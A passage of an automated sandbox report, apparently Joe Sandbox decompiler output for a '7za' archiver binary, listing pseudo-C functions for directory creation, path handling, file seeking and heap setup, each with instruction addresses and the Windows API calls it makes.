					if(E0040A28C( *((intOrPtr*)( *((intOrPtr*)(_t199 + 0x18)))), _t199 - 0x3c, _t199 + 0x1c) != 0) {
						_t137 = E00407399(_t199 - 0x3c, _t199 - 0x48,  *((intOrPtr*)(_t199 + 0x1c))); // executed
						 *(_t199 - 4) = 5;
						E00401E26(_t199 - 0x24, _t137);
						 *(_t199 - 4) = 4;
						E00407A18( *((intOrPtr*)(_t199 - 0x48)));
						_t141 = E004072C9(_t199 - 0x3c, _t199 - 0x48,  *((intOrPtr*)(_t199 + 0x1c)));
						 *(_t199 - 4) = 6;
						E00401E26(_t199 - 0x30, _t141);
						 *(_t199 - 4) = 4;
						E00407A18( *((intOrPtr*)(_t199 - 0x48)));
						_push(_t199 - 0x30);
						_push(_t199 - 0x24);
						E00418E2D(_t196, __eflags); // executed
						L13:
						_push( *((intOrPtr*)(_t199 - 0x10)));
						_push( *((intOrPtr*)(_t199 + 0x18)));
						_push( *((intOrPtr*)(_t199 + 0x14)));
						_push( *((intOrPtr*)(_t199 + 0x10)));
						_push( *((intOrPtr*)(_t199 + 0xc)));
						_push( *((intOrPtr*)(_t199 + 8)));
						_t113 = E00418554(_t192); // executed
						__eflags = _t113 - _t157;
						 *((intOrPtr*)(_t199 + 0x18)) = _t113;
						if(_t113 == _t157) {
							_push(_t199 - 0x30);
							_t115 = E0040B0A0(_t199 - 0x48, _t199 - 0x24);
							_t193 = _t192 + 0x14;
							_push(_t115);
							 *(_t199 - 4) = 7;
							E00406796(_t192 + 0x14);
							 *(_t199 - 4) = 4;
							E00407A18( *((intOrPtr*)(_t199 - 0x48)));
							__eflags =  *((intOrPtr*)(_t196 + 0x70)) - _t157;
							if( *((intOrPtr*)(_t196 + 0x70)) > _t157) {
								do {
									_push( *((intOrPtr*)( *((intOrPtr*)(_t196 + 0x74)) + _t157 * 4)));
									_push(E0040B0A0(_t199 - 0x48, _t199 - 0x24));
									 *(_t199 - 4) = 8;
									E00406796(_t193);
									 *(_t199 - 4) = 4;
									E00407A18( *((intOrPtr*)(_t199 - 0x48)));
									_t157 = _t157 + 1;
									__eflags = _t157 -  *((intOrPtr*)(_t196 + 0x70));
								} while (_t157 <  *((intOrPtr*)(_t196 + 0x70)));
							}
							_t118 =  *((intOrPtr*)(_t199 - 0x14));
							 *((intOrPtr*)(_t118 + 0x28)) =  *((intOrPtr*)(_t196 + 0x88));
							 *((intOrPtr*)(_t118 + 0x2c)) =  *((intOrPtr*)(_t196 + 0x8c));
							E00407A18( *(_t199 - 0x30));
							E00407A18( *(_t199 - 0x24));
							E00407A18( *(_t199 - 0x3c));
							 *(_t199 - 4) =  *(_t199 - 4) | 0xffffffff;
							E0043361B(_t199 - 0x10);
							_t123 = 0;
							__eflags = 0;
						} else {
							E00407A18( *(_t199 - 0x30));
							E00407A18( *(_t199 - 0x24));
							E00407A18( *(_t199 - 0x3c));
							_t131 =  *((intOrPtr*)(_t199 - 0x10));
							 *(_t199 - 4) =  *(_t199 - 4) | 0xffffffff;
							__eflags = _t131 - _t157;
							if(_t131 != _t157) {
								 *((intOrPtr*)( *_t131 + 8))(_t131);
							}
							_t123 =  *((intOrPtr*)(_t199 + 0x18));
						}
					} else {
						_t198 = GetLastError();
						E00407A18( *(_t199 - 0x30));
						E00407A18( *(_t199 - 0x24));
						E00407A18( *(_t199 - 0x3c));
						_t151 =  *((intOrPtr*)(_t199 - 0x10));
						 *(_t199 - 4) =  *(_t199 - 4) | 0xffffffff;
						if(_t151 != _t157) {
							 *((intOrPtr*)( *_t151 + 8))(_t151);
						}
						_t123 = _t198;
					}
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t199 - 0xc));
				return _t123;
			}

0x00418a28
0x00418a33
0x00418a35
0x00418a37
0x00418a3c
0x00418a3f
0x00418a42
0x00418a45
0x00418a4b
0x00418a50
0x00418a53
0x00418a60
0x00418a60
0x00418a55
0x00418a5c
0x00418a5c
0x00418a62
0x00418a68
0x00418a6b
0x00418a70
0x00418a70
0x00418a78
0x00418a7e
0x00418a85
0x00418a88
0x00418a8b
0x00418a8e
0x00418a98
0x00418a9c
0x00418a9f
0x00418aa2
0x00418aa5
0x00418aaf
0x00418ab3
0x00418ab6
0x00418ab9
0x00418abc
0x00418ac4
0x00418ac8
0x00418b92
0x00418b97
0x00000000
0x00418ad7
0x00418aea
0x00418b31
0x00418b3a
0x00418b3e
0x00418b46
0x00418b4a
0x00418b5a
0x00418b63
0x00418b67
0x00418b6f
0x00418b73
0x00418b7c
0x00418b80
0x00418b83
0x00418b9a
0x00418b9a
0x00418b9f
0x00418ba2
0x00418ba5
0x00418ba8
0x00418bab
0x00418bae
0x00418bb3
0x00418bb5
0x00418bb8
0x00418bf4
0x00418bf8
0x00418bfd
0x00418c00
0x00418c03
0x00418c07
0x00418c0f
0x00418c13
0x00418c18
0x00418c1c
0x00418c1e
0x00418c27
0x00418c2f
0x00418c32
0x00418c36
0x00418c3e
0x00418c42
0x00418c47
0x00418c49
0x00418c49
0x00418c1e
0x00418c4e
0x00418c5a
0x00418c63
0x00418c66
0x00418c6e
0x00418c76
0x00418c7b
0x00418c85
0x00418c8a
0x00418c8a
0x00418bba
0x00418bbd
0x00418bc5
0x00418bcd
0x00418bd2
0x00418bd5
0x00418bdc
0x00418bde
0x00418be3
0x00418be3
0x00418be6
0x00418be6
0x00418aec
0x00418af5
0x00418af7
0x00418aff
0x00418b07
0x00418b0c
0x00418b0f
0x00418b18
0x00418b1d
0x00418b1d
0x00418b20
0x00418b20
0x00418aea
0x00418c92
0x00418c9a

APIs

__EH_prolog.LIBCMT ref: 00418A28

Part of subcall function 004079F2: __CxxThrowException@8.LIBC ref: 00407A11

GetLastError.KERNEL32(?,00000003,00000003,00000003,?,00000000,00000000), ref: 00418AEC

Part of subcall function 00418E2D: __EH_prolog.LIBCMT ref: 00418E32
Part of subcall function 00418E2D: __CxxThrowException@8.LIBC ref: 00418E91

Part of subcall function 00418554: __EH_prolog.LIBCMT ref: 00418559

Part of subcall function 0040B0A0: __EH_prolog.LIBCMT ref: 0040B0A5

Part of subcall function 00406796: __EH_prolog.LIBCMT ref: 0040679B

Part of subcall function 0040A28C: __EH_prolog.LIBCMT ref: 0040A291
Part of subcall function 0040A28C: GetFullPathNameW.KERNEL32(?,00000105,00000104,00000002,00000000,59@,00000000), ref: 0040A2E5
Part of subcall function 0040A28C: GetFullPathNameW.KERNEL32(?,?,00000001,00000002), ref: 0040A338

Part of subcall function 00418C9D: __EH_prolog.LIBCMT ref: 00418CA2

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00409D7C, Relevance: 3.2, APIs: 2, Instructions: 179

C-Code - Quality: 99%

			E00409D7C(void* __ecx) {
				signed int _t64;
				intOrPtr* _t70;
				intOrPtr* _t74;
				signed char _t75;
				long _t78;
				signed int _t80;
				signed char _t82;
				signed int _t87;
				intOrPtr* _t88;
				void* _t92;
				signed int _t96;
				signed int _t98;
				signed int _t102;
				signed int _t109;
				signed int _t116;
				intOrPtr _t123;
				intOrPtr _t128;
				intOrPtr _t129;
				intOrPtr _t130;
				void* _t132;
				signed int _t135;
				void* _t138;

				E0046B890(E00473AB8, _t138);
				E00403532(_t138 - 0x18, __ecx);
				_t109 =  *(_t138 - 0x14);
				 *(_t138 - 4) =  *(_t138 - 4) & 0x00000000;
				_t132 = 0x5c;
				if(_t109 == 0) {
					L13:
					E004039C0(_t138 - 0x24, _t138 - 0x18);
					_t135 =  *(_t138 - 0x14);
					 *(_t138 - 4) = 1;
					while(1) {
						L14:
						_t64 = E00409CCB( *((intOrPtr*)(_t138 - 0x18))); // executed
						__eflags = _t64;
						if(_t64 != 0) {
							break;
						}
						_t78 = GetLastError();
						__eflags = _t78 - 0xb7;
						if(_t78 == 0xb7) {
							E0040351A(_t138 - 0x40);
							 *(_t138 - 4) = 2;
							_t80 = E0040B431(_t138 - 0x68, _t128, __eflags,  *((intOrPtr*)(_t138 - 0x18))); // executed
							__eflags = _t80;
							if(_t80 != 0) {
								_t82 =  *(_t138 - 0x48) >> 4;
								__eflags = _t82 & 0x00000001;
								if((_t82 & 0x00000001) != 0) {
									 *(_t138 - 4) = 1;
									E00407A18( *((intOrPtr*)(_t138 - 0x40)));
									break;
								} else {
									_t102 = 0;
									__eflags = 0;
									goto L31;
								}
							} else {
								_t102 = 1;
								L31:
								E00407A18( *((intOrPtr*)(_t138 - 0x40)));
								E00407A18( *((intOrPtr*)(_t138 - 0x24)));
								E00407A18( *((intOrPtr*)(_t138 - 0x18)));
							}
						} else {
							_t87 =  *(_t138 - 0x14);
							__eflags = _t87;
							if(_t87 == 0) {
								L44:
								_t102 = 0;
								__eflags = 0;
								L45:
								E00407A18( *((intOrPtr*)(_t138 - 0x24)));
								_t129 =  *((intOrPtr*)(_t138 - 0x18));
								goto L46;
							} else {
								_t123 =  *((intOrPtr*)(_t138 - 0x18));
								_t88 = _t123 + _t87 * 2 - 2;
								while(1) {
									__eflags =  *_t88 - _t132;
									if( *_t88 == _t132) {
										break;
									}
									__eflags = _t88 - _t123;
									if(_t88 == _t123) {
										_t135 = _t135 | 0xffffffff;
										__eflags = _t135;
									} else {
										_t88 = _t88;
										continue;
									}
									L23:
									__eflags = _t135;
									if(__eflags < 0 || __eflags == 0) {
										goto L44;
									} else {
										__eflags =  *((short*)(_t123 + _t135 * 2 - 2)) - 0x3a;
										if( *((short*)(_t123 + _t135 * 2 - 2)) == 0x3a) {
											goto L44;
										} else {
											_t92 = E00407399(_t138 - 0x18, _t138 - 0x30, _t135);
											 *(_t138 - 4) = 3;
											E00401E26(_t138 - 0x18, _t92);
											 *(_t138 - 4) = 1;
											E00407A18( *((intOrPtr*)(_t138 - 0x30)));
											goto L14;
										}
									}
									goto L47;
								}
								_t135 = _t88 - _t123 >> 1;
								goto L23;
							}
						}
						goto L47;
					}
					E00401E26(_t138 - 0x18, _t138 - 0x24);
					while(1) {
						L34:
						__eflags = _t135 -  *(_t138 - 0x14);
						if(_t135 >=  *(_t138 - 0x14)) {
							break;
						}
						_t130 =  *((intOrPtr*)(_t138 - 0x18));
						_t70 = _t130 + 2 + _t135 * 2;
						while(1) {
							_t116 =  *_t70;
							__eflags = _t116 - _t132;
							if(_t116 == _t132) {
								break;
							}
							__eflags = _t116;
							if(_t116 == 0) {
								_t135 = _t135 | 0xffffffff;
								__eflags = _t135;
							} else {
								_t70 = _t70 + 2;
								continue;
							}
							L41:
							__eflags = _t135;
							if(_t135 < 0) {
								_t135 =  *(_t138 - 0x14);
							}
							_t74 = E00407399(_t138 - 0x18, _t138 - 0x30, _t135);
							 *(_t138 - 4) = 4;
							_t75 = E00409CCB( *_t74);
							 *(_t138 - 4) = 1;
							asm("sbb bl, bl");
							E00407A18( *((intOrPtr*)(_t138 - 0x30)));
							__eflags =  ~_t75 + 1;
							if( ~_t75 + 1 == 0) {
								goto L34;
							} else {
								goto L44;
							}
							goto L45;
						}
						_t135 = _t70 - _t130 >> 1;
						goto L41;
					}
					_t102 = 1;
					goto L45;
				} else {
					_t128 =  *((intOrPtr*)(_t138 - 0x18));
					_t96 = _t128 + _t109 * 2 - 2;
					while( *_t96 != _t132) {
						if(_t96 == _t128) {
							_t98 = _t96 | 0xffffffff;
							__eflags = _t98;
						} else {
							_t96 = _t96;
							continue;
						}
						L7:
						__eflags = _t98;
						if(_t98 <= 0) {
							goto L13;
						} else {
							__eflags = _t98 - _t109 - 1;
							if(_t98 != _t109 - 1) {
								goto L13;
							} else {
								__eflags = _t109 - 3;
								if(_t109 != 3) {
									L12:
									E004075A5(_t138 - 0x18, _t98, 1);
									goto L13;
								} else {
									__eflags =  *((short*)(_t128 + 2)) - 0x3a;
									if( *((short*)(_t128 + 2)) != 0x3a) {
										goto L12;
									} else {
										_t102 = 1;
										L46:
										E00407A18(_t129);
									}
								}
							}
						}
						goto L47;
					}
					_t98 = _t96 - _t128 >> 1;
					goto L7;
				}
				L47:
				 *[fs:0x0] =  *((intOrPtr*)(_t138 - 0xc));
				return _t102;
			}

0x00409d81
0x00409d90
0x00409d95
0x00409d98
0x00409da0
0x00409da1
0x00409de9
0x00409df0
0x00409df5
0x00409df8
0x00409dfc
0x00409dfc
0x00409dff
0x00409e04
0x00409e06
0x00000000
0x00000000
0x00409e0c
0x00409e12
0x00409e17
0x00409e8c
0x00409e97
0x00409e9b
0x00409ea0
0x00409ea2
0x00409eab
0x00409eae
0x00409eb0
0x00409ed7
0x00409edb
0x00000000
0x00409eb2
0x00409eb2
0x00409eb2
0x00000000
0x00409eb2
0x00409ea4
0x00409ea4
0x00409eb4
0x00409eb7
0x00409ebf
0x00409ec7
0x00409ecc
0x00409e19
0x00409e19
0x00409e1c
0x00409e1e
0x00409f51
0x00409f51
0x00409f51
0x00409f53
0x00409f56
0x00409f5b
0x00000000
0x00409e24
0x00409e24
0x00409e27
0x00409e2b
0x00409e2b
0x00409e2e
0x00000000
0x00000000
0x00409e30
0x00409e32
0x00409e40
0x00409e40
0x00409e34
0x00409e35
0x00000000
0x00409e35
0x00409e43
0x00409e43
0x00409e45
0x00000000
0x00409e51
0x00409e51
0x00409e57
0x00000000
0x00409e5d
0x00409e65
0x00409e6e
0x00409e72
0x00409e77
0x00409e7e
0x00000000
0x00409e83
0x00409e57
0x00000000
0x00409e45
0x00409e3c
0x00000000
0x00409e3c
0x00409e1e
0x00000000
0x00409e17
0x00409ee8
0x00409eed
0x00409eed
0x00409eed
0x00409ef0
0x00000000
0x00000000
0x00409ef6
0x00409ef9
0x00409efd
0x00409efd
0x00409f00
0x00409f03
0x00000000
0x00000000
0x00409f05
0x00409f08
0x00409f16
0x00409f16
0x00409f0a
0x00409f0b
0x00000000
0x00409f0b
0x00409f19
0x00409f19
0x00409f1b
0x00409f1d
0x00409f1d
0x00409f28
0x00409f2f
0x00409f33
0x00409f3a
0x00409f43
0x00409f47
0x00409f4c
0x00409f4f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00409f4f
0x00409f12
0x00000000
0x00409f12
0x00409f77
0x00000000
0x00409da3
0x00409da3
0x00409da6
0x00409daa
0x00409db1
0x00409dbd
0x00409dbd
0x00409db3
0x00409db4
0x00000000
0x00409db4
0x00409dc0
0x00409dc0
0x00409dc2
0x00000000
0x00409dc4
0x00409dc7
0x00409dc9
0x00000000
0x00409dcb
0x00409dcb
0x00409dce
0x00409dde
0x00409de4
0x00000000
0x00409dd0
0x00409dd0
0x00409dd5
0x00000000
0x00409dd7
0x00409dd7
0x00409f5f
0x00409f60
0x00409f65
0x00409dd5
0x00409dce
0x00409dc9
0x00000000
0x00409dc2
0x00409db9
0x00000000
0x00409db9
0x00409f66
0x00409f6e
0x00409f76

APIs

__EH_prolog.LIBCMT ref: 00409D81

Part of subcall function 00409CCB: __EH_prolog.LIBCMT ref: 00409CD0
Part of subcall function 00409CCB: CreateDirectoryW.KERNELBASE(?,00000000,0000005C,?,00000000), ref: 00409D0F
Part of subcall function 00409CCB: GetLastError.KERNEL32(?,00000000,0000005C,?,00000000), ref: 00409D19
Part of subcall function 00409CCB: CreateDirectoryW.KERNEL32(?,00000000,00000003,?,00000000,0000005C,?,00000000), ref: 00409D4E

GetLastError.KERNEL32(?,?,?,?,00000000), ref: 00409E0C

Part of subcall function 0040B431: __EH_prolog.LIBCMT ref: 0040B436

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 004183FD, Relevance: 3.1, APIs: 2, Instructions: 85

C-Code - Quality: 52%

			E004183FD(intOrPtr __ecx) {
				long _t31;
				intOrPtr* _t32;
				intOrPtr* _t33;
				intOrPtr* _t42;
				intOrPtr _t53;
				intOrPtr _t59;
				long _t62;
				void* _t64;
				void* _t65;

				E0046B890(E00474DEA, _t65);
				_push(__ecx);
				_push(__ecx);
				_t59 = __ecx;
				 *((intOrPtr*)(_t65 - 0x14)) = 0;
				 *(_t65 - 4) = 0;
				 *((intOrPtr*)(_t65 - 0x10)) = 0;
				 *(_t65 - 4) = 1;
				if( *((intOrPtr*)(_t65 + 0x10)) == 0) {
					if( *((intOrPtr*)(_t65 + 0x14)) != 0) {
						goto L12;
					} else {
						_push(0x40);
						_t53 = E004079F2();
						 *((intOrPtr*)(_t65 + 0x10)) = _t53;
						 *(_t65 - 4) = 2;
						if(_t53 == 0) {
							_t64 = 0;
						} else {
							_t64 = E0040CF63(_t53);
						}
						 *(_t65 - 4) = 1;
						E0040C9B4(_t65 - 0x14, _t64);
						if(E0040CF41(_t64,  *((intOrPtr*)(_t59 + 4))) != 0) {
							 *((intOrPtr*)(_t65 + 0x14)) =  *((intOrPtr*)(_t65 - 0x14));
							goto L12;
						} else {
							_t31 = GetLastError();
						}
					}
				} else {
					_push(8);
					_t42 = E004079F2();
					if(_t42 == 0) {
						_t42 = 0;
					} else {
						 *((intOrPtr*)(_t42 + 4)) = 0;
						 *_t42 = 0x47ab90;
					}
					E0040C9B4(_t65 - 0x10, _t42);
					L12:
					_t31 = E00417BAE(_t59,  *((intOrPtr*)(_t65 + 8)),  *((intOrPtr*)(_t65 + 0xc)),  *((intOrPtr*)(_t65 + 0x14)),  *((intOrPtr*)(_t65 - 0x10)),  *((intOrPtr*)(_t65 + 0x18))); // executed
				}
				_t62 = _t31;
				_t32 =  *((intOrPtr*)(_t65 - 0x10));
				 *(_t65 - 4) = 0;
				if(_t32 != 0) {
					 *((intOrPtr*)( *_t32 + 8))(_t32);
				}
				_t33 =  *((intOrPtr*)(_t65 - 0x14));
				 *(_t65 - 4) =  *(_t65 - 4) | 0xffffffff;
				if(_t33 != 0) {
					 *((intOrPtr*)( *_t33 + 8))(_t33);
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t65 - 0xc));
				return _t62;
			}

0x00418402
0x00418407
0x00418408
0x0041840e
0x00418410
0x00418413
0x00418416
0x0041841c
0x00418420
0x00418449
0x00000000
0x0041844b
0x0041844b
0x00418453
0x00418455
0x0041845a
0x0041845e
0x00418469
0x00418460
0x00418465
0x00418465
0x0041846f
0x00418473
0x00418484
0x00418491
0x00000000
0x00418486
0x00418486
0x00418486
0x00418484
0x00418422
0x00418422
0x00418424
0x0041842c
0x00418439
0x0041842e
0x0041842e
0x00418431
0x00418431
0x0041843f
0x00418494
0x004184a5
0x004184a5
0x004184aa
0x004184ac
0x004184b1
0x004184b4
0x004184b9
0x004184b9
0x004184bc
0x004184bf
0x004184c5
0x004184ca
0x004184ca
0x004184d5
0x004184dd

APIs

__EH_prolog.LIBCMT ref: 00418402
GetLastError.KERNEL32(00000001,00000000,?,?,00000000,?,?,00418604,?,00000001,?,?,?,?,?,00000000), ref: 00418486

Part of subcall function 00417BAE: __EH_prolog.LIBCMT ref: 00417BB3

Part of subcall function 004079F2: __CxxThrowException@8.LIBC ref: 00407A11

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00418E2D, Relevance: 3.0, APIs: 2, Instructions: 47

C-Code - Quality: 88%

			E00418E2D(void* __ecx, void* __eflags) {
				intOrPtr* _t21;
				signed char _t22;
				void* _t24;
				void* _t45;
				void* _t47;
				void* _t52;

				_t52 = __eflags;
				E0046B890(E00474EE0, _t47);
				_t45 = __ecx;
				_t41 = __ecx + 0x14;
				E00401E26(__ecx + 0x14,  *((intOrPtr*)(_t47 + 8)));
				_push( *((intOrPtr*)(_t47 + 0xc)));
				_t21 = E0040B0A0(_t47 - 0x18, _t41);
				 *(_t47 - 4) = 0;
				_t22 = E0040B431(__ecx + 0x20, _t41, _t52,  *_t21); // executed
				asm("sbb bl, bl");
				 *(_t47 - 4) =  *(_t47 - 4) | 0xffffffff;
				E00407A18( *((intOrPtr*)(_t47 - 0x18)));
				if( ~_t22 + 1 != 0) {
					 *((intOrPtr*)(_t47 + 8)) = 1;
					E0046B8F4(_t47 + 8, 0x47e128);
				}
				_t24 = E0040862D();
				 *(_t45 + 0x58) =  *(_t45 + 0x58) & 0x00000000;
				 *((intOrPtr*)(_t45 + 0x88)) = 0;
				 *((intOrPtr*)(_t45 + 0x8c)) = 0;
				 *[fs:0x0] =  *((intOrPtr*)(_t47 - 0xc));
				return _t24;
			}

0x00418e2d
0x00418e32
0x00418e3c
0x00418e42
0x00418e47
0x00418e4c
0x00418e54
0x00418e60
0x00418e63
0x00418e6f
0x00418e71
0x00418e77
0x00418e7f
0x00418e8a
0x00418e91
0x00418e91
0x00418e99
0x00418e9e
0x00418ea5
0x00418eab
0x00418eb4
0x00418ebc

APIs

__EH_prolog.LIBCMT ref: 00418E32

Part of subcall function 0040B0A0: __EH_prolog.LIBCMT ref: 0040B0A5

Part of subcall function 0040B431: __EH_prolog.LIBCMT ref: 0040B436

__CxxThrowException@8.LIBC ref: 00418E91

Part of subcall function 0046B8F4: RaiseException.KERNEL32(0047CF70,?,00405CA1,?,?,?,0047CF70,?,?,?,00405CA1), ref: 0046B922

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0040BA47, Relevance: 3.0, APIs: 2, Instructions: 44

C-Code - Quality: 79%

			E0040BA47(void** __ecx, long _a4, long _a8, long _a12, long* _a16) {
				long _v8;
				long _v12;
				long _t21;
				long _t22;
				long* _t23;
				void** _t27;

				_t27 = __ecx;
				_push(__ecx);
				_push(__ecx);
				if(__ecx[1] != 0 && __ecx[1] != 0 && _a12 == 2) {
					_a4 = __ecx[2] + _a4;
					_a12 = 0;
					asm("adc [ebp+0xc], esi");
				}
				_t21 = _a4;
				_v8 = _a8;
				_v12 = _t21;
				_t22 = SetFilePointer( *_t27, _t21,  &_v8, _a12); // executed
				_v12 = _t22;
				if(_t22 != 0xffffffff || GetLastError() == 0) {
					_t23 = _a16;
					 *_t23 = _v12;
					_t23[1] = _v8;
					return 1;
				} else {
					return 0;
				}
			}

0x0040ba47
0x0040ba4a
0x0040ba4b
0x0040ba51
0x0040ba62
0x0040ba68
0x0040ba6b
0x0040ba6e
0x0040ba75
0x0040ba78
0x0040ba7e
0x0040ba85
0x0040ba8e
0x0040ba91
0x0040baa1
0x0040baa7
0x0040baac
0x00000000
0x0040ba9d
0x00000000
0x0040ba9d

APIs

SetFilePointer.KERNELBASE(?,?,?,?), ref: 0040BA85
GetLastError.KERNEL32(?,?,?,?), ref: 0040BA93

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0046EA66, Relevance: 3.0, APIs: 2, Instructions: 30

C-Code - Quality: 100%

			E0046EA66(void* __ecx, intOrPtr _a4) {
				void* _t6;
				intOrPtr _t8;
				void* _t9;
				void* _t10;
				void* _t12;

				_t12 = __ecx;
				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				_t15 = _t6;
				 *0x496580 = _t6;
				if(_t6 == 0) {
					L7:
					return 0;
				} else {
					_t8 = E0046E91E(_t12, _t15);
					 *0x496584 = _t8;
					if(_t8 != 3) {
						__eflags = _t8 - 2;
						if(_t8 != 2) {
							goto L8;
						} else {
							_t10 = E0046F60A();
							goto L5;
						}
					} else {
						_t10 = E0046EAC3(0x3f8);
						L5:
						if(_t10 != 0) {
							L8:
							_t9 = 1;
							return _t9;
						} else {
							HeapDestroy( *0x496580);
							goto L7;
						}
					}
				}
			}

0x0046ea66
0x0046ea77
0x0046ea7d
0x0046ea7f
0x0046ea84
0x0046eabc
0x0046eabe
0x0046ea86
0x0046ea86
0x0046ea8e
0x0046ea93
0x0046eaa2
0x0046eaa5
0x00000000
0x0046eaa7
0x0046eaa7
0x00000000
0x0046eaa7
0x0046ea95
0x0046ea9a
0x0046eaac
0x0046eaae
0x0046eabf
0x0046eac1
0x0046eac2
0x0046eab0
0x0046eab6
0x00000000
0x0046eab6
0x0046eaae
0x0046ea93

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,0046CFAA,00000001), ref: 0046EA77

Part of subcall function 0046E91E: GetVersionExA.KERNEL32 ref: 0046E93D
Part of subcall function 0046E91E: GetEnvironmentVariableA.KERNEL32(__MSVCRT_HEAP_SELECT,?,00001090), ref: 0046E972
Part of subcall function 0046E91E: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0046E9D2

Part of subcall function 0046F60A: HeapAlloc.KERNEL32(00000000,00002020,8H,8H,?,?,0046FAD6,00000000,00000010,00000000,00000009,00000009,?,0046C0AF,00000010,00000000), ref: 0046F62B
Part of subcall function 0046F60A: VirtualAlloc.KERNEL32(00000000,00400000,00002000,00000004,?,?,0046FAD6,00000000,00000010,00000000,00000009,00000009,?,0046C0AF,00000010,00000000), ref: 0046F64F
Part of subcall function 0046F60A: VirtualAlloc.KERNEL32(00000000,00010000,00001000,00000004,?,?,0046FAD6,00000000,00000010,00000000,00000009,00000009,?,0046C0AF,00000010,00000000), ref: 0046F669
Part of subcall function 0046F60A: VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,0046FAD6,00000000,00000010,00000000,00000009,00000009,?,0046C0AF,00000010,00000000,?), ref: 0046F72A
Part of subcall function 0046F60A: HeapFree.KERNEL32(00000000,00000000), ref: 0046F741

HeapDestroy.KERNEL32 ref: 0046EAB6

Part of subcall function 0046EAC3: HeapAlloc.KERNEL32(00000000,00000140,0046EA9F,000003F8), ref: 0046EAD0

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 004018A2, Relevance: 3.0, APIs: 2, Instructions: 20

C-Code - Quality: 84%

			E004018A2(intOrPtr* __ecx) {
